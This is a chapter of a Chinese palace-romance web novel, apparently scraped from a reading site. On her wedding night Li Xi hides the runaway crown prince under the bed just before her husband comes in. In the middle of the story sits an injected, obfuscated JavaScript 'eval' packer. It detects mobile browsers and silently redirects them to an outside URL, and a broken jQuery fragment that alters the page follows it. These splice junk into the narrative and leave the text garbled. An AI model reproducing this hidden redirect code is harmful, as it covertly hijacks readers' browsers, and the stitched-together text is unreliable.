上侃 作品

169. 我那专情好骗的亡夫

“县主,您看看,这第一话……”阿宁正欲打开那避火图,李熙猛然弃了长扇,一把紧急夺过她手中的禁书。


“县主?”阿宁眨了眨她无辜的大眼睛。


“你年纪尚小,看不得这些……罢了,你出去。”李熙将书压在膝盖上,揉了揉眉角。这小丫头,胆子还挺大,什么都敢看。


阿宁看着她泛红的脸颊,偷偷捂嘴笑,她轻轻戳了戳李熙的手臂,小声道:“县主害羞了,县主可别害羞,我来之前夏姐姐可跟我说过了,要让您好好看,仔细看,才能尝到甜头,若是沧大人技术差,您也好缓缓体位……”


李熙嘴角抽搐,她一言难尽地看着阿宁:“有时候你别太听师傅的,师傅她……”


李熙不知道怎么说了,她摆了摆手:“罢了,你先出去吧,今夜不用你。”


阿宁立马眼睛一亮:“我这就走,我懂,我都懂!”


李熙:“……你又懂什么了,别瞎懂啊!”


阿宁却不听,只偷笑着退下。


李熙无奈极了。


等阿宁离开后,她一人又坐了许久,越坐,她手中的东西就越烫手。


反正无聊……要不看看?


她竟然产生了这样的想法。


李熙低下头看了半天,视死如归地翻开了那本书。


说是书也太抬举它了,每幅图顶多七八个字,但李熙看了就觉得自己眼睛发烫。


这、这……


无法直视观音了……


还有老汉……


“喂!在看什么啊,这么入迷?”


少年的一声斥喝,让李熙瞬间如做贼心虚一般猛然压合上书。


她心跳骤快,犹如做了心虚事一样。


她故作镇定,眼睛看向声音传来的地方。


打开的窗户边趴着一个少年。那少年漂亮极了,狭长的狐狸眼微微压皱,在眉眼间流出几分妩媚迷人的弧度,他明明在皱眉,眼睛不满地盯着李熙,可李熙看着却觉得他如毛茸茸的小动物在向主人撒娇一般。


“太子殿下?”李熙诧异他的出现,他闻言瞪大了眼睛:“嘘——”


他朝李熙做完手势,连忙心虚地左顾右盼,像是生怕被人瞧见了似的。见四下无人,他连忙从窗户翻了进来。


“等等,你……”李熙见他要翻,立刻准备阻止、可惜晚了一步,姜衔华已经翻了进来,还小心翼翼地关上了窗户。


他松下一口气,看向李熙:“你要说什么?想找人把孤抓回去是不是?”他漂亮的眼睛恶狠狠地等着李熙,充满了控诉:“你个没良心的,说好了要当孤的入幕之宾,为孤出谋划策,结果孤一走你就没了音信,还说要当孤的师傅,你就是这样当的?哼,若非母后不经意提起,孤还不知道本宫的师傅成孤的舅母了!”


姜衔华气得牙痒痒。


李熙哭笑不得,她摇了摇头道:“我只是想说,门外无人你可以走正门,客人走正门,盗贼走房梁,只有偷情才翻窗。”


姜衔华嘴角一僵,随即脸色涨红:“你、你胡说八道些什么,谁跟你偷、偷情了,你、你……你混蛋!”


“小声些,我的小祖宗,我开玩笑的,但是你再叫,恐怕所有人都知道我房间有个男子了,我倒是无所谓,你不是不想让人发现吗?”李熙说道,眼中的揶揄不减。


姜衔华连忙捂住嘴。


李熙又笑。


虽然两年未见,但是这小太子还是一样有趣可爱呢。


姜衔华看着她,后知后觉发现,她还是在耍他!


姜衔华差点儿就被气哭了,但是不敢大声说话,生怕被别人听见,于是他只能用眼睛瞪李熙,咬牙切齿道:“李熙!你信不信孤治你个欺君罔上之罪!”


就这张牙舞爪,色厉内荏的模样,李熙倒不怕,只是怕真把人气哭了不好收场。


李熙朝他伸手:“我开玩笑的,两年未见,殿下好像长高了。”


姜衔华仍旧瞪着她:“别岔开话题,孤不吃你这套。这两年你为何不联系孤,在吕县不联系也就罢了,你到了明康为何还不联系孤?”


“明熙县主的事情闹得沸沸扬扬,我以为殿下早就知道了,何况殿下在皇宫之中,我一介草民,哪怕成了县主,也无权无势,如何联系得了殿下?”李熙语气也很无奈。


姜衔华闻言愣了愣,原来她也是身不由己……姜衔华语气软了下来,但还是放不下面子:“孤哪里知道你就是明熙县主,你以为孤就神通广大吗?孤在宫里也……”


他语气一滞,似乎想到什么不开心的事情,眼睛随之暗了下来。


“对不住啊。”李熙先道歉。


姜衔华叹了口气,缓缓坐到李熙旁边:“孤就原谅你这一次,下不为例……下次不许再嘲笑孤!”他冷哼一声,用眼神警告李熙。


李熙笑了笑:“好。”


还是一样好哄。


“对了,你怎么会和孤的小舅舅成亲?虽说我小舅舅看上去跟菩萨似的,可他的手段和心眼儿不比其他人少……”姜衔华看向她手中的书,缓缓伸手,继续道:“而且你不知道沧家里头也是一团烂泥吗,自以为是的掌家老太婆,宠妾灭妻的沧大老爷,心眼子比筛子还多的二老爷、还有那愚蠢至极看不清形势的沧三老爷,就这你还敢嫁进来?”


“原本不知道,但是我现在知道了……”李熙听他说着,竟一时放松让他将书抽走,见他缓缓翻起那书,她立马警惕地抢回书,道:“这个你不能看!”


“小气鬼,不看就不看,谁稀罕!”姜衔华冷哼道。


“你成亲的时候会有人给你看的,现在还不是时候。”李熙将书压在腿下,才继续道:“哪怕我知道了,我仍旧会这样选择。”


“为什么?若是为了权势,还有其他人可以选择,听说你和方临煦关系不错,嫁入方家应该也行。”姜衔华道。


“刘秀死了。”李熙垂下头。


“刘秀?那个喜欢拿刀吓唬人的女土……她死了?”姜衔华说着说着,脸色一惊。


“怎么死的?”


李熙的手指微微蜷缩扣在掌心里:“她跟踪沧三老爷,被杀害了。”李熙想要尽量显得自己云淡风轻,可是又怎么可能呢?


“你是为了杀沧三老爷?不对啊,凭你的武功想杀他不很简单吗,不必这般大费周章吧?”姜衔华想不通。


“这里面的事情很复杂,不是一时半会儿能说通的……”李熙正说到这里,忽然听到了门外响起的脚步声。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15695625|157348||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


姜衔华也听见了,猛然看向李熙,眼神慌乱起来:“孤是偷跑出来的,千万不能被人发现,尤其是不能被人发现孤在小舅舅府里!”


“我知道,我知道。”李熙拍了拍他的手,示意他安心。


李熙立马起身,看了眼四周,她低头看向床边的乘足,想也不想就推在一边:“你身型小,可以钻进去,你且放心,不会有人发现你的。”


“你竟敢让孤钻床底!”姜衔华不可置信,面容都扭曲起来。


“衣柜你可以躲,但是若是你小舅舅回来了,换衣裳怎么办?你可要想好。”李熙说道。


正说着,只听脚步声停在了门外。


随即———


“噔噔噔。”


“李……阿熙,你,你睡了吗?”


这声音……


说曹操曹操到!


李熙和姜衔华对视一眼。


“快!”李熙催促道。


姜衔华望着床底,床底一片漆黑,他手掌紧握成拳,似脑子里正在进行激烈的争论。


“行,钻就钻!”


他一咬牙,鼓足了勇气,爬进去了,进去之前还不忘瞪着眼睛警告李熙:“……这事儿,你知我知天知地知,不能让第三个人知道!否则、否则孤跟你没完!”


李熙看着他这模样想笑,可是一想到他之前威胁她不准嘲笑自己的模样,爱怜地忍了下来,她拍着胸脯保证对他道:“绝对。”


“哼!”


姜衔华一进去,李熙就将乘足放回原位,她理了理自己的衣襟,拍了拍一旁姜衔华坐出来的褶皱,避火图不小心掀在地上,李熙毫无察觉,整理好一切缓缓坐在床上,拿起长扇遮住脸,却一时忘记了那掉落下来的让她尴尬的东西。


这才应道:“还没。”


他似乎犹豫了一下:“我、我能进来吗?”


“这是沧府。”李熙回答着忽然一顿,其实他不必询问,但是他就是那样克制有礼的人,哪怕是现在。想着她便补充了一句:“你进来吧。”


沧白藏这才推开门走进来。


他望着她,她静静坐在他们的喜床上,一袭红衣如花般盛开,这样喜庆的房间,这样艳丽的她,他竟不敢多看。他垂眸慢慢走近她:“对不住,今日……委屈你了。”


李熙没想到他一开口就是道歉。


委屈?她其实一点儿都不委屈,反而觉得骂得很爽,一扫她之前的抑郁。


于是她摇摇头:“不委屈。”


“手累了吧,朋友留着喝了两杯酒……不过你放心,我没醉。”他将李熙手上的长扇移开时还没来得及看她脚下就莫名被绊了一下,他低下头就看见了一本书。


他微微一顿,弯下腰去捡书:“这是……”


那细长的手先映入眼帘,床底的姜衔华心猛然提起来。


糟糕!


他整个人蓦然僵硬起来,呼吸都变得更加绵长,生怕被同样会武功的沧白藏发现。


而李熙心里也是一咯噔,心跳骤然就加速起来。


那书是避火图!


等等,床下还有太子殿下!


这两件事撞在一起,她竟不知道先担心哪一件事,只觉得眉角跳得厉害。